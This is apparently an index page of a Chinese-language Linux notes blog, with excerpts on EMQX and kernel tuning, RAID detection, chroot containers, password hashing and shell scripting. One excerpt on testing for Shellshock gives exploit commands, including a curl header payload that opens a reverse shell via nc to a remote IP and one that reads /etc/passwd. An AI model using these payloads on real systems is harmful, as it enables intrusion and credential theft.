Hero Image
調整系統使得 EMQX 可以支援 1M 連線

Tuning EMQX to Scale to One Million Concurrent Connection on Kubernetes Performance Tuning (Linux) 矽谷牛的耕田筆記 Linux Kernel Tuning node level, basically the non-namespaced sysctls # Sets the maximum number of file handles allowed by the kernel sysctl -w fs.file-max=2097152 # Sets the maximum number of open file descriptors that a process can have sysctl -w fs.nr_open=2097152 namespaced sysctls # Sets the maximum number of connections that can be queued for acceptance by the kernel. sysctl -w net.core.somaxconn=32768 # Sets the maximum number of SYN requests that can be queued by the kernel sysctl -w net.ipv4.tcp_max_syn_backlog=16384 # Setting the minimum, default and maximum size of TCP Buffer sysctl -w net.ipv4.tcp_rmem='1024 4096 16777216' sysctl -w net.ipv4.tcp_wmem='1024 4096 16777216' # Setting Parameters for TCP Connection Tracking sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=30 # Controls the maximum number of entries in the TCP time-wait bucket table sysctl -w net.ipv4.tcp_max_tw_buckets=1048576 # Controls Timeout for FIN-WAIT-2 Sockets: sysctl -w net.ipv4.tcp_fin_timeout=15 There are some more namespaced sysctls that will improve the performance but because of an active issue we are not able to set them on the container level # Sets the size of the backlog queue for the network device sysctl -w net.core.netdev_max_backlog=16384 # Amount of memory that is allocated for storing incoming and outgoing data for a socket sysctl -w net.core.rmem_default=262144 sysctl -w net.core.wmem_default=262144 # Setting the maximum amount of memory for the socket buffers sysctl -w net.core.rmem_max=16777216 sysctl -w net.core.wmem_max=16777216 sysctl -w net.core.optmem_max=16777216 Erlang VM Tuning ## Erlang Process Limit node.process_limit = 2097152 ## Sets the maximum number of simultaneously existing ports for this system node.max_ports = 2097152 EMQX Broker Tuning # Other configuration… EMQX_LISTENER__TCP__EXTERNAL: "0.0.0.0:1883" EMQX_LISTENER__TCP__EXTERNAL__ACCEPTORS: 64 EMQX_LISTENER__TCP__EXTERNAL__MAX_CONNECTIONS: 1024000

Wednesday, September 27, 2023 閱讀
Hero Image
有关 MTU 和 MSS 的一切

有关 MTU 和 MSS 的一切

Wednesday, April 12, 2023 閱讀
Hero Image
在 Linux 中偵測 RAID 資訊

在 Linux 中偵測 RAID 資訊 lspci lspci | grep RAID 00:1f.2 RAID bus controller: Intel Corporation 82801 Mobile SATA Controller [RAID mode] (rev 04) lshw lshw -class storage *-raid description: RAID bus controller product: 82801 Mobile SATA Controller [RAID mode] vendor: Intel Corporation physical id: 1f.2 bus info: pci@0000:00:1f.2 logical name: scsi0 version: 04 width: 32 bits clock: 66MHz capabilities: raid msi pm bus_master cap_list emulated configuration: driver=ahci latency=0 resources: irq:26 ioport:f0d0(size=8) ioport:f0c0(size=4) ioport:f0b0(size=8) ioport:f0a0(size=4) ioport:f060(size=32) memory:f7e36000-f7e367ff smartctl dmesg | grep -i scsi [ 0.210852] SCSI subsystem initialized [ 0.341280] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243) ... [ 1.213299] scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: 0 ANSI: 5 [ 1.319886] sd 0:0:0:0: [sda] Attached SCSI disk [ 19.571008] sd 0:0:0:0: Attached scsi generic sg0 type 0 smartctl --all /dev/sda Model Family: Seagate Laptop HDD Device Model: ST320LT012-9WS14C Serial Number: S0V3R9LL LU WWN Device Id: 5 000c50 05be4653c Firmware Version: 0001YAM1 User Capacity: 320,072,933,376 bytes [320 GB] Sector Sizes: 512 bytes logical, 4096 bytes physical Rotation Rate: 5400 rpm Form Factor: 2.5 inches Device is: In smartctl database 7.3/5319 ATA Version is: ATA8-ACS T13/1699-D revision 4 SATA Version is: SATA 2.6, 3.0 Gb/s (current: 3.0 Gb/s) Local Time is: Sat Nov 19 20:52:01 2022 PKT SMART support is: Available - device has SMART capability. SMART support is: Enabled ... MegaCLI megacli -LDInfo -Lall -aALL Adapter 0 -- Virtual Drive Information: Virtual Drive: 0 (Target Id: 0) Name : SEAGATE RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0 Size : 320 GB Sector Size : 512 Mirror Data : 320 GB State : Optimal ... lsscsi lsscsi [0:0:0:0] disk ATA ST320LT012-9WS14 YAM1 /dev/sda 廠商專用工具 omreport storage vdisk List of Virtual Disks in the System Controller SEAGATE Laptop HDD ID : 0 Status : Ok Name : SEAGATE State : Ready Hot Spare Policy violated : Not Assigned Encrypted : No Layout : RAID-0 Size : 320.00 GB (343597383680 bytes) T10 Protection Information Status : No Associated Fluid Cache State : Not Applicable Device Name : /dev/sda Bus Protocol : ATA Media : HDD Read Policy : Adaptive Read Ahead Write Policy : Write Back Cache Policy : Not Applicable Stripe Element Size : 128 KB Disk Cache Policy : Enabled

Monday, November 28, 2022 閱讀
Hero Image
測試伺服器是否易受 Shellshock 漏洞影響

測試伺服器是否易受 Shellshock 漏洞影響 Shellshock 漏洞 env x=' () {:;};' 利用 Shellshock 漏洞 當功能忽略使用者指定的指令，改執行 ForceCommand 的內容時，置換指令就會被執行。 使用者的原始指令會被放在 “SSH_ORIGINAL_COMMAND” 環境變數中。若使用者預設 shell 是 Bash，Bash 在啟動時會解析 “SSH_ORIGINAL_COMMAND” 的值並執行其中的指令。 Shellshock 利用指令範例 ## 1 curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi ## 2 curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd" 使用 nmap 腳本測試漏洞 nmap -sV -p- --script http-shellshock 192.168.x.x nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Monday, November 28, 2022 閱讀
Hero Image
從零開始的容器

從零開始的容器 容器檔案系統 $ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz $ sha256sum rootfs.tar.gz c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz $ # tar needs sudo to create /dev files and setup file ownership $ sudo tar -zxf rootfs.tar.gz $ ls rootfs bin dev home lib64 mnt proc run srv tmp var boot etc lib media opt root sbin sys usr $ ls -al rootfs/bin/ls -rwxr-xr-x. 1 root root 118280 Mar 14 2015 rootfs/bin/ls chroot 它可以限制某個程序對檔案系統的視野。這裡我們把程序限制在 “rootfs” 目錄，然後執行一個 shell。 $ sudo chroot rootfs /bin/bash root@localhost:/# ls / bin dev home lib64 mnt proc run srv tmp var boot etc lib media opt root sbin sys usr root@localhost:/# which python /usr/bin/python root@localhost:/# /usr/bin/python -c 'print "Hello, container world!"' Hello, container world! root@localhost:/# 當我們執行 Python 直譯器時，實際上是執行 rootfs/usr/bin/python，而不是宿主機的 Python。

Thursday, November 24, 2022 閱讀
Hero Image
如何刪除檔名含有不可列印字元的檔案

如何刪除檔名含有不可列印字元的檔案 ls -l total 13 -rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' ' -rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx' -rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴ -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴ -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣ -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω -rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27 使用 ANSI-C Quoting # Using ANSI-C Quoting rm ''$'\302\226' # We can also use the $ special character before enclosing the filename in single quotes rm $'\356\200\215' # pass an item's name to rm without using the ANSI-C quoting rm '\026\033' rm: cannot remove '\026\033': No such file or directory 使用 Inode 編號 ls -li total 11 ... 6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264' 7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215' 4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27 可以透過 find 的 -inum 參數指定 inode 來刪除檔案。

Monday, November 14, 2022 閱讀
Hero Image
/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊

/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊 chage 與密碼期限 chage --list root Last password change : Oct 01, 2022 Password expires : never Password inactive : never Account expires : never Minimum number of days between password change : 0 Maximum number of days between password change : 99999 Number of days of warning before password expires : 7 因此，我們可以用對應的旗標修改各欄位： -d 或 --lastday：最後變更日期 -m 或 --mindays：變更密碼最少間隔天數 -M 或 --maxdays：密碼最大有效天數 -W 或 --warndays：到期前警告天數 -I 或 --inactive：密碼失效天數 -E 或 --expiredate：帳號過期日期 chpasswd 與密碼 echo 'user1:PASSWORD' | chpasswd --crypt-method SHA512

Monday, November 14, 2022 閱讀
Hero Image
如何在別名指令上使用 which

如何在別名指令上使用 which type type grep grep is an alias for grep --color=auto # Bash's type type -P grep /usr/bin/grep # Zsh's type type -p grep grep is /usr/bin/grep GNU which which -a which which: shell built-in command /usr/bin/which alias top10 top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10' alias | /usr/bin/which -i top10 top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10' /usr/bin/uniq /usr/bin/sort /usr/bin/head

Thursday, November 10, 2022 閱讀
Hero Image
Shell Script 最佳實務

Shell Script 最佳實務 重點 第一行就用 #!/usr/bin/env bash。 檔案使用 .sh（或 .bash）副檔名。 在腳本開頭使用 set -o errexit。 也建議使用 set -o nounset。 用 "${VARNAME-}" 取代 "$VARNAME" 使用 set -o pipefail。 使用 set -o xtrace，並檢查 $TRACE 環境變數。 if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi 使用者可以透過 TRACE=1 ./script.sh 啟用除錯模式，而不是 ./script.sh。 if / while 條件使用 [[ ]]，而不是 [ ] 或 test。 變數存取一律用雙引號包住。 在函式中使用 local 變數。 輸出錯誤訊息時請導向 stderr。 例如 echo 'Something unexpected happened' >&2。 能用長選項就用長選項（例如 --silent 取代 -s）。 適合的話，腳本開頭就切換到腳本所在目錄。 可用 cd "$(dirname "$0")"，多數情況可用。 使用 shellcheck 並留意其警告。 範本 #!/usr/bin/env bash set -o errexit set -o nounset set -o pipefail if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace fi if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then echo 'Usage: ./script.sh arg-one arg-two This is an awesome bash script to make your life better. ' exit fi cd "$(dirname "$0")" main() { echo do awesome stuff } main "$@"

Thursday, November 3, 2022 閱讀
Hero Image
命令列的藝術

命令列的藝術

Wednesday, November 2, 2022 閱讀
Hero Image
在 Shell 中輸出 ASCII 藝術字

在 Shell 中輸出 ASCII 藝術字 banner sudo apt install sysvbanner $ banner hello # # ###### # # #### # # # # # # # ###### ##### # # # # # # # # # # # # # # # # # # # # ###### ###### ###### #### FIGlet: Frank, Ian, and Glenn’s Letters sudo apt install figlet $ figlet hello _ _ _ | |__ ___| | | ___ | '_ \ / _ \ | |/ _ \ | | | | __/ | | (_) | |_| |_|\___|_|_|\___/ -f 選項可指定輸出的字型 -l、-c、-r 可將文字對齊到左、中、右 TOIlet: FIGlet With More Options sudo apt install toilet

Friday, October 21, 2022 閱讀
Hero Image
如何讓終端輸出覆蓋同一行

如何讓終端輸出覆蓋同一行 問題簡介 $ cat print_status.sh !/bin/bash echo "[INFO] Processing file: readme.txt" sleep 2 To simulate the file processing echo "[INFO] Processing file: veryPowerfulService.service" sleep 2 echo "[INFO] Processing file: log.txt" echo "DONE" $ ./print_status.sh [INFO] Processing file: readme.txt [INFO] Processing file: veryPowerfulService.service [INFO] Processing file: log.txt DONE 「魔法碼」: \033[0K\r -n 讓 echo 不輸出結尾的換行字元 -e 讓 echo 解讀反斜線逸出字元，例如 \n（換行）與 \r（回車） \033 - 逸出序列，也就是 ESC \033[ - 變成 “ESC ["，也就是控制序列引導字元（CSI） \033[0k - 即 “CSI 0 K”，會清除從游標到行尾的文字 \r - 回車，將游標移回行首 $ cat print_status.sh #!/bin/bash echo -ne "[INFO] Processing file: readme.txt\033[0K\r" sleep 2 echo -ne "[INFO] Processing file: veryPowerfulService.service\033[0K\r" sleep 2 echo -e "[INFO] Processing file: log.txt\033[0K\r" echo "DONE" !/bin/bash printf "[INFO] Processing file: readme.txt\033[0K\r" sleep 2 printf "[INFO] Processing file: veryPowerfulService.service\033[0K\r" sleep 2 printf "[INFO] Processing file: log.txt\033[0K\r\n" echo "DONE"

Friday, October 21, 2022 閱讀